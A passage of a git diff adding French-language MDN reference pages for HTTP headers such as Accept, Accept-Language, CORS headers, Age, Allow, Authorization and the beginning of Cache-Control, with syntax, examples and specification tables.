external-icon" href="http://en.wikipedia.org/wiki/Zlib">zlib</a>, avec l'algorithme de compression <a class="external external-icon" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a>.</dd> + <dt><code>br</code></dt> + <dd>Un format de compression utilisant l'algorithme <a class="external external-icon" href="https://en.wikipedia.org/wiki/Brotli">Brotli</a>.</dd> + <dt><code>identity</code></dt> + <dd>Indique la fonction identité (c'est-à-dire pas de compression ou de modification). Cette valeur est toujours considérée comme acceptable, même si l'en-tête ne le précise pas.</dd> + <dt><code>*</code></dt> + <dd>Correspond à tous les systèmes d'encodage de contenu qui n'ont pas été listés dans l'en-tête. C'est la valeur par défaut de l'ent-ête s'il n'est pas présent. Cela ne signifie pas que tous les algorithmes sont supportés; seulement qu'aucune préférence n'est exprimée.</dd> + <dt><code>;q=</code> (qvalues weighting)</dt> + <dd>La valeur indique l'ordre de préférence des méthodes de compression à utiliser. Ce champ utilise les <a href="/en-US/docs/Glossary/Quality_value">quality values</a> aussi appelée <em>weight </em>ou <em>poids</em>.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Accept-Encoding: gzip + +Accept-Encoding: gzip, compress, br + +Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1 +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "Accept-Encoding", "5.3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité">Compatibilité</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/headers/accept-encoding")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.3">https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html</a></li> + <li><a href="/en-US/docs/Web/HTTP/Content_negotiation">Négociation de contenu</a> HTTP</li> + <li>En-tête résultant de la négociation de contenu: {{HTTPHeader("Content-Encoding")}}</li> + <li>Autres en-têtes en rapport: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li> +</ul> diff --git a/files/fr/web/http/headers/accept-language/index.html b/files/fr/web/http/headers/accept-language/index.html new file mode 100644 index 0000000000..a64edd7f48 --- /dev/null +++ b/files/fr/web/http/headers/accept-language/index.html @@ -0,0 +1,95 @@ +--- +title: Accept-Language +slug: Web/HTTP/Headers/Accept-Language +tags: + - En-tête HTTP + - En-tête de requête + - HTTP + - Négociation de contenu + - Reference +translation_of: Web/HTTP/Headers/Accept-Language +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête <strong><code>Accept-Language</code></strong> de la requête HTTP indique quelles sont les langues que le client est capable de comprendre, et quelle variante locale est préférée. En utilisant la <a href="/fr-FR/docs/Web/HTTP/Content_negotiation">négociation de contenu</a>, le serveur choisit alors l'une des propositions, l'utilise et informe le client de son choix par l'entête de réponse {{HTTPHeader("Content-Language")}}. Les navigateurs définissent les valeurs adéquates pour cet entête en fonction de la langue de leur interface utilisateur, et même si un utilisateur peut la changer, cela se produit rarement (et cela est vu d'un mauvais œil, dans la mesure où cela permet l'identification par empreinte numérique).</p> + +<p>Cet en-tête est une indication destinée à être utilisée lorsque le serveur n'a aucun moyen de déterminer la langue d'une autre manière, comme une URL spécifique, qui est contrôlée par une décision explicite de l'utilisateur. Il est recommandé que le serveur ne passe jamais outre une décision explicite. Le contenu d'<code>Accept-Language</code> est souvent hors du contrôle de l'utilisateur (comme lors d'un voyage et de l'utilisation d'un cybercafé à l'étranger) ; l'utilisateur peut également vouloir visiter une page dans une langue que celle des paramètres régionaux de son interface utilisateur.</p> + +<p>Si le serveur ne peut servir aucune langue qui corresponde, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (Not Acceptable). Mais, pour une meilleure expérience utilisateur, cela est rarement fait et la façon de faire la plus courante est d'ignorer l'en-tête <code>Accept-Language</code> dans ce cas.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> + <td>oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Accept-Language: <langue> +Accept-Language: <locale> +Accept-Language: * + +// Type multiples, pondérés par la syntaxe {{glossary("quality values", "valeur de qualité")}} : +Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code><langue></code></dt> + <dd>Une langue exprimée sous la forme de 2 ou 3 caractères.</dd> + <dt><code><locale></code></dt> + <dd>Une balise de langue complète. En plus de la langue elle-même, elle peut contenir des informations additionnelles après un<code>'-'</code>. L'information supplémentaire la plus courante est la variante de pays (telle que<code>'en-US'</code>) ou le type d'alphabet à utiliser (comme<code>'sr-Lat'</code>). D'autres variantes comme le type d'orthographe (<code>'de-DE-1996'</code>) ne sont pas habituellement utilisées dans le contexte de cet en-tête.</dd> + <dt><code>*</code></dt> + <dd>Toute langue ; <code>'*'</code> est utilisé comme un joker.</dd> + <dt><code>;q=</code> (pondération q-factor)</dt> + <dd>Une quantité numérique donnant un ordre de préférence et qui utilise une <a href="/en-US/docs/Glossary/Quality_values">valeur de qualité</a> relative, appelée <em>poids</em>.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Accept-Language: de + +Accept-Language: de-CH + +Accept-Language: en-US,en;q=0.5 +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "Accept-Language", "5.3.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-Language")}}</p> + +<h2 id="Voir_également">Voir également</h2> + +<ul> + <li>HTTP <a href="/fr-FR/docs/Web/HTTP/Content_negotiation">négociation de contenu</a></li> + <li>En-tête avec le résultat de la négociation de contenu : {{HTTPHeader("Content-Language")}}</li> + <li>Autres en-têtes similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/fr/web/http/headers/accept/index.html b/files/fr/web/http/headers/accept/index.html new file mode 100644 index 0000000000..9b42bcf9af --- /dev/null +++ b/files/fr/web/http/headers/accept/index.html @@ -0,0 +1,90 @@ +--- +title: Accept +slug: Web/HTTP/Headers/Accept +tags: + - Entête HTTP + - Entête de Requête + - HTTP + - Reference +translation_of: Web/HTTP/Headers/Accept +--- +<div>{{HTTPSidebar}}</div> + +<p><font face="Open Sans, arial, x-locale-body, sans-serif">Le paramètre d'entête de requête HTTP </font><code><strong>Accept</strong></code> indique quels sont les types de contenu, exprimés sous la forme de types MIME, que le client sera capable d'interpréter. Par le biais de la résolution de contenu -(<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>), le serveur sélectionne ensuite une proposition parmi toutes, l'utilise et informe le client de son choix avec l'entête de réponse {{HTTPHeader("Content-Type")}}. Les navigateurs fixent des valeurs adéquates pour cet entête selon le contexte où la requête a été exécutée : selon que l'utilisateur souhaite récupérer une feuille de style css, ou qu'il souhaite récupérer une image, une vidéo ou un script, la valeur fixée pour la requête ne sera pas la même.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> + <td>oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Accept: <MIME_type>/<MIME_subtype> +Accept: <MIME_type>/* +Accept: */* + +// Types multiples, pondérés {{glossary("quality values", "quality value")}} par la syntaxe : +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code><MIME_type>/<MIME_subtype></code></dt> + <dd>Un type MIME unique et déterminé <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>, comme par exemple <code>text/html</code>.</dd> + <dt><code><MIME_type>/*</code></dt> + <dd>un type MIME type ne comprenant pas de sous-type. <code>image/*</code> prendra en charge <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> et tous autres types d'image.</dd> + <dt><code>*/*</code></dt> + <dd>Tout type MIME </dd> + <dt><code>;q=</code> (facteur de pondération q)</dt> + <dd>N'importe quelle valeur utilisée est placée selon un ordre de préférence exprimé par une valeur de qualité (<a href="/en-US/docs/Glossary/Quality_values">quality value</a>) relative appelée le <em>poids</em>.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Accept: text/html + +Accept: image/* + +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "Accept", "5.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Vocabulaire et cas d'usage</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez contribuer à la gestion de ces données, merci de consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous soumettre une requête "Pull request".</p> + +<p>{{Compat("http.headers.Accept")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li> + <li>Entête avec le résultat de la résolution de contenu : {{HTTPHeader("Content-Type")}}</li> + <li>Autres entêtes similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li> +</ul> diff --git a/files/fr/web/http/headers/access-control-allow-methods/index.html b/files/fr/web/http/headers/access-control-allow-methods/index.html new file mode 100644 index 0000000000..3296a6c5ed --- /dev/null +++ b/files/fr/web/http/headers/access-control-allow-methods/index.html @@ -0,0 +1,86 @@ +--- +title: Access-Control-Allow-Methods +slug: Web/HTTP/Headers/Access-Control-Allow-Methods +tags: + - CORS + - HTTP + - Reference + - entête +translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods +--- +<div>{{HTTPSidebar}}</div> + +<p>L'entête de réponse <strong><code>Access-Control-Allow-Methods</code></strong> spécifie les méthodes autorisées quand on accède à la ressource en réponse à une requête de pré-vérification ({{glossary("preflight request")}}).</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Access-Control-Allow-Methods: <methode>, <methode>, ... +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><methode></dt> + <dd>Liste délimitée par des virgules des <a href="/en-US/docs/Web/HTTP/Methods">méthodes de requêtes HTTP</a> autorisées.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Access-Control-Allow-Methods: POST, GET, OPTIONS</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Définition initiale</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2> + +<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez contribuer à ces données, allez sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Methods")}}</p> + +<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2> + +<ul> + <li>La valeur joker (*) mentionnée dans la dernière version de la spécification n'est pas encore implémentée dans tous les navigateurs : + <ul> + <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li> + <li>Firefox: {{bug(1309358)}}</li> + <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li> + </ul> + </li> +</ul> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li> + <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Request-Method")}}</li> +</ul> diff --git a/files/fr/web/http/headers/access-control-allow-origin/index.html b/files/fr/web/http/headers/access-control-allow-origin/index.html new file mode 100644 index 0000000000..652085a513 --- /dev/null +++ b/files/fr/web/http/headers/access-control-allow-origin/index.html @@ -0,0 +1,84 @@ +--- +title: Access-Control-Allow-Origin +slug: Web/HTTP/Headers/Access-Control-Allow-Origin +translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin +--- +<div>{{HTTPSidebar}}</div> + +<p>L'entête <code><strong>Access-Control-Allow-Origin</strong></code> renvoie une réponse indiquant si les ressources peuvent être partagées avec une <a href="/fr/docs/Glossaire/Origine">origine</a> donnée.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Access-Control-Allow-Origin: * +Access-Control-Allow-Origin: <origin> +Access-Control-Allow-Origin: null +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt>*</dt> + <dd>Pour les demandes sans informations d’identification, le serveur peut spécifier « * » comme un caractère générique, permettant ainsi à n’importe quelle origine d'accéder à la ressource.</dd> + <dt><origin></dt> + <dd>Spécifie un URI qui peut accéder à la ressource. Il n'est possible de spécifier qu'une seule origine.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<p>Pour permettre à n'importe quelle ressource d'accéder à vos ressources, vous pouvez indiquer :</p> + +<pre class="notranslate">Access-Control-Allow-Origin: *</pre> + +<p>Pour permettre <code>https://developer.mozilla.org</code> d'accéder à vos ressources, vous pouvez indiquer :</p> + +<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org</pre> + +<h3 id="CORS_et_le_cache">CORS et le cache</h3> + +<p>Si le serveur spécifie un hôte d'origine plutôt que "*", il doit également inclure "<em>Origin</em>" dans l'en-tête de réponse "<em><a href="/fr/docs/Web/HTTP/Headers/Vary">Vary</a></em>" pour indiquer aux clients que les réponses du serveur seront différentes en fonction de la valeur de la demande d'origine entête.</p> + +<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org +Vary: Origin</pre> + +<h2 id="Caractéristiques">Caractéristiques</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Caractéristiques</th> + <th scope="col">Statue</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité">Compatibilité</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Origin")}}</li> + <li>{{HTTPHeader("Vary")}}</li> +</ul> diff --git a/files/fr/web/http/headers/access-control-request-headers/index.html b/files/fr/web/http/headers/access-control-request-headers/index.html new file mode 100644 index 0000000000..dca51b3e7b --- /dev/null +++ b/files/fr/web/http/headers/access-control-request-headers/index.html @@ -0,0 +1,73 @@ +--- +title: Access-Control-Request-Headers +slug: Web/HTTP/Headers/Access-Control-Request-Headers +tags: + - CORS + - HTTP + - entête + - pré-vérification +translation_of: Web/HTTP/Headers/Access-Control-Request-Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>L'entête <strong><code>Access-Control-Request-Headers</code></strong> est utilisé quand une requête de pré-vérification ({{glossary("preflight request")}}) et faite vers le serveur pour savoir les entêtes qui seront utilisés après la pré-vérification.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Access-Control-Request-Headers: <header-name>, <header-name>, ... +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><header-name></dt> + <dd>Une liste <a href="/en-US/docs/Web/HTTP/Headers">d'entête HTTP</a> séparé par des virgules qui sont inclus dans la requête.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre> + +<p>Dans cet exemple le serveur en réponse à la demande de pré-vérification indiquer au demandeur de la pré-vérification que la requête suivante sera accepté si elle contient <em>X-PINGOTHER</em> ou <em>Content-type</em>.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Status</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/headers/access-control-request-headers")}}</p> + +<h2 id="Voir_également">Voir également</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Request-Method")}}</li> +</ul> diff --git a/files/fr/web/http/headers/age/index.html b/files/fr/web/http/headers/age/index.html new file mode 100644 index 0000000000..1a814f95b1 --- /dev/null +++ b/files/fr/web/http/headers/age/index.html @@ -0,0 +1,71 @@ +--- +title: Age +slug: Web/HTTP/Headers/Age +translation_of: Web/HTTP/Headers/Age +--- +<div>{{HTTPSidebar}}</div> + +<p>L'entête HTTP {{HTTPHeader("Age")}} indique le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy.</p> + +<p>Sa valeur est généralement proche de zéro. Elle vaut 0 lorsque la ressource vient d'être rapatriée du serveur d'origine; autrement, sa valeur équivaut à la différence entre la date courante du proxy et la valeur de l'entête {{HTTPHeader("Date")}} inclus dans la réponse HTTP.</p> + +<p> </p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>Entête de réponse</td> + </tr> + <tr> + <th scope="row">Nom d'entête interdit</th> + <td>non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Age: <valeur-en-secondes> +</pre> + +<h2 id="Directive">Directive</h2> + +<dl> + <dt><valeur-en-secondes></dt> + <dd> + <p>Un entier positif indiquant le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy.</p> + </dd> +</dl> + +<h2 id="Exemple">Exemple</h2> + +<pre>Age: 24</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7234", "Age", "5.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">La table de compatibilité de cette page est générée à partir des données structurées. Si vous souhaitez y contribuer, visitez l'adresse <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et faites un pull request.</p> + +<p>{{Compat("http.headers.Age")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Expires")}}</li> +</ul> diff --git a/files/fr/web/http/headers/allow/index.html b/files/fr/web/http/headers/allow/index.html new file mode 100644 index 0000000000..e8605d2bfa --- /dev/null +++ b/files/fr/web/http/headers/allow/index.html @@ -0,0 +1,66 @@ +--- +title: Allow +slug: Web/HTTP/Headers/Allow +tags: + - Entête HTTP + - HTTP + - Reference + - entête +translation_of: Web/HTTP/Headers/Allow +--- +<div>{{HTTPSidebar}}</div> + +<p>L'entête <code><strong>Allow</strong></code> liste les méthodes supportées par une ressource.</p> + +<p>Cet entête doit être envoyée si le serveur répond avec un statut {{HTTPStatus("405")}} <code>Method Not Allowed</code> pour indiquer quelles méthodes peuvent être utilisées pour la requête. Une entête <code>Allow</code> vide indique que la ressource n'autorise aucune méthode, ce qui peut erriver temporairement pour une ressource donnée, par exemple.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Allow: <methodes-http> +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><methodes-http></dt> + <dd>La liste des <a href="/en-US/docs/Web/HTTP/Methods">méthodes de requête HTTP</a> autorisées, séparées par des virgules.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Allow: GET, POST, HEAD</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "Allow", "7.4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("405")}}</li> + <li>{{HTTPHeader("Server")}}</li> +</ul> diff --git a/files/fr/web/http/headers/authorization/index.html b/files/fr/web/http/headers/authorization/index.html new file mode 100644 index 0000000000..7e597dc96e --- /dev/null +++ b/files/fr/web/http/headers/authorization/index.html @@ -0,0 +1,90 @@ +--- +title: Authorization +slug: Web/HTTP/Headers/Authorization +tags: + - HTTP + - Reference + - en-tête + - requête +translation_of: Web/HTTP/Headers/Authorization +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête de requête HTTP <strong><code>Authorization </code></strong>contient les identifiants permettant l'authentification d'un utilisateur auprès d'un serveur, habituellement après que le serveur ait répondu avec un statut {{HTTPStatus("401")}} <code>Unauthorized</code> et l'en-tête {{HTTPHeader("WWW-Authenticate")}}</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th> + <td>Non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Authorization: <type> <credentials></pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><em><type></em></dt> + <dd><a href="/fr/docs/Web/HTTP/Authentication#Schéma_d'authentification">Le type d'authentification</a>. Le type <code><a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a></code> est souvent utilisé. Pour connaître les autres types : + <ul> + <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">IANA registry of Authentication schemes</a></li> + </ul> + </dd> + <dt><em><credentials></em></dt> + <dd>Si c'est le type d'authentification <code>"Basic"</code> qui est utilisé, les identifiants sont construits de la manière suivante : + <ul> + <li>L'identifiant de l'utilisateur et le mot de passe sont combinés avec deux-points : (<code>aladdin:sesameOuvreToi</code>).</li> + <li>Cette chaîne de caractères est ensuite encodée en <a href="/fr/docs/Web/API/WindowBase64/Décoder_encoder_en_base64">base64</a> (<code>YWxhZGRpbjpzZXNhbWVPdXZyZVRvaQ==</code>).</li> + </ul> + + <div class="note"> + <p><strong>Note</strong>: L'encodage en Base64 n'est pas un chiffrement ou un hachage ! Cette méthode est aussi peu sûre que d'envoyer les identifiants en clair (l'encodage base64 est un encodage réversible). Il faudra privilégier HTTPS lorsqu'on emploie une authentification "basique".</p> + </div> + </dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l +</pre> + +<p>Voir aussi l'article <a href="/fr/docs/Web/HTTP/Authentication">authentification HTTP</a> avec des exemples de configuration de serveurs Apache ou nginx pour protéger votre site grâce à un mot de passe et l'authentification HTTP basique.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7235", "Authorization", "4.2")}}</td> + <td>HTTP/1.1 : Authentification</td> + </tr> + <tr> + <td>{{RFC("7617")}}</td> + <td>Schéma d'Authentification HTTP 'Basic'</td> + </tr> + </tbody> +</table> + +<h2 id="Voir">Voir</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/Authentication">L'authentification HTTP</a></li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/fr/web/http/headers/cache-control/index.html b/files/fr/web/http/headers/cache-control/index.html new file mode 100644 index 0000000000..47637ee8e0 --- /dev/null +++ b/files/fr/web/http/headers/cache-control/index.html @@ -0,0 +1,242 @@ +--- +title: Cache-Control +slug: Web/HTTP/Headers/Cache-Control +tags: + - Cache-Control + - General Header + - HTTP + - HTTP Headers + - Reference +translation_of: Web/HTTP/Headers/Cache-Control +--- +<p>{{HTTPSidebar}}</p> + +<p><span class="seoSummary">L'en-tête HTTP <strong><code>Cache-Control</code></strong> contient des directives (ou instructions) pour la <a href="/fr/docs/Web/HTTP/Cache">mise en cache</a> tant dans les requêtes que dans les réponses. Une directive donnée dans une requête ne signifie pas que la même directive doit se trouver dans la réponse.</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + <tr> + <th scope="row">{{Glossary("CORS-safelisted response header")}}</th> + <td>oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Pour être valables, les directives de mise en cache doivent respecter les règles suivante :</p> + +<ul> + <li>Il est recommandé de ne pas faire de distinction entre les majuscules et les minuscules..</li> + <li>Les directives multiples sont séparées par des virgules.</li> + <li>Certaines directives ont un argument optionnel, qui peut être soit un <em>jeton</em>, soit une chaîne de caractères entre guillemets. (Voir les spécifications pour les définitions)</li> +</ul> + +<h3 id="Règles_de_cache_des_requêtes">Règles de cache des requêtes</h3> + +<p>Les règles standard <code>Cache-Control</code> suivantes peuvent être utilisées par un client HTTP dans une requête :</p> + +<pre class="syntaxbox">Cache-Control: max-age=<seconds> +Cache-Control: max-stale[=<seconds>] +Cache-Control: min-fresh=<seconds> +Cache-Control: no-cache +Cache-Control: no-store +Cache-Control: no-transform +Cache-Control: only-if-cached +</pre> + +<h3 id="Règles_de_cache_des_réponses">Règles de cache des réponses</h3> + +<p>Les règles standard <code>Cache-Control</code> suivantes peuvent être utilisées par un serveur HTTP dans une réponse :</p> + +<pre class="syntaxbox">Cache-Control: must-revalidate +Cache-Control: no-cache +Cache-Control: no-store +Cache-Control: no-transform +Cache-Control: public +Cache-Control: private +Cache-Control: proxy-revalidate +Cache-Control: max-age=<seconds> +Cache-Control: s-maxage=<seconds> +</pre> + +<h3 id="Extensions_de_Cache-Control">Extensions de 